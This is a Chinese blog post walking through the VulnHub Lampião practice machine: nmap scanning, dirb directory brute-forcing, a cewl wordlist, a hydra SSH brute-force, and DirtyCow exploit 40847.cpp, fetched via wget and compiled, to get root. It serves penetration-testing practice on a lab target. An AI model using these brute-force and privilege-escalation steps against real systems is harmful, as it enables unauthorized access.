• VulnHub靶场篇1-Lampiao


    靶机地址:Lampião: 1 ~ VulnHub

    文章主要是简要记录每一个过程,没有专门地对每一步截图,也许有些步骤中并不详细,会在文末附上相关详细的渗透文章

    主机探测&端口扫描

    nmap命令

    nmap 192.168.31.0/24
    # 扫描该网段上存在的主机IP
    

    netdiscover命令

    netdiscover
    # 直接扫
    

    得到靶机ip:192.168.31.35

    nmap端口扫描

    nmap -sV -A -p- 192.168.31.35
    

    得到目标端口信息

    22 ssh
    80 http服务
    1898 也是一个http服务

    信息搜集&权限获取

    80端口

    目录爆破,无果

    dirb http://192.168.31.35
    
    nikto -h http://192.168.31.35
    

    22端口

    暂时未得到username和password的相关信息,先去1898端口搜集信息


    由下文中得到的信息进行ssh登录,得到一个低权限用户|权限获取方式2

    1898端口

    目录爆破 得到robots.txt

    dirb http://192.168.31.35:1898
    

    进入robots.txt,搜集到很多路径,慢慢查看得知Drupal CSM框架及版本号

    可以在MSF上根据Drupal漏洞脚本进行权限获取(低权限)| 权限获取方式1
    具体参考其他文章(文末附带文章地址)

    正常访问

    发现隐藏目录 http://192.168.31.35:1898/?q=node/2 里面有两个文件名

    使用wget下载,获取到username:tiago

    wget http://192.168.31.35:1898/audio.m4a
    

    使用cewl对 http://192.168.31.35:1898/?q=node/1 该站点生成字典

    cewl http://192.168.31.35:1898/?q=node/1 -w 2.txt
    

    使用hydra进行爆破

    hydra -l tiago -P 2.txt 192.168.31.35 ssh
    

    得到password:Virgulino

    权限提升

    需要找到反弹shell获取root权限,通过MSF使用DirtyCow进行权限提升

    打开msf

    msfconsole
    

    查找DirtyCow提权脚本shell

    searchsploit dirty
    

    选择40847.cpp脚本并拷贝到home目录下

    cp /usr/share/exploitdb/exploits/linux/local/40847.cpp ~
    

    通过python开启本地http服务

    python -m SimpleHTTPServer 5555
    

    在刚刚获取的低权限用户中获取该脚本

    wget http://192.168.31.145:5555/40847.cpp
    

    进行编译、运行

    g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
    
    1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
    2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告
    3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
    4. -std=c++11就是用按C++2011标准来编译的
    5. -pthread 在Linux中要用到多线程时,需要链接pthread库
    6. -o 40847 gcc生成的目标文件,名字为40847

    执行g++编译可执行文件,直接提权

    获取到root的密码

    通过ssh登录即可

    总结

    1. hydra使用
    2. msf使用,找漏洞,复制漏洞到本地

    参考

    靶机渗透 https://blog.csdn.net/qq_34801745/article/details/103731088

    区别gcc中的-w -W和-Wall选项 https://blog.csdn.net/cjtstrive/article/details/85375477

  • 相关阅读:
    使用ACEGI搭建权限系统:第三部分
    分支在版本树中的应用(使用subversion)
    acegi安全框架使用:第二部分
    错误数据导致java.lang.IllegalArgumentException:Unsupported configuration attributes
    移动中间件和wap网关的比较
    3年后,又回到了.net阵营
    android中listView的几点总结
    oracle相关分布式数据解决方案
    ajax实现用户名存在校验
    使用template method模式简化android列表页面
  • 原文地址:https://www.cnblogs.com/labster/p/14320871.html
Copyright © 2020-2023  润新知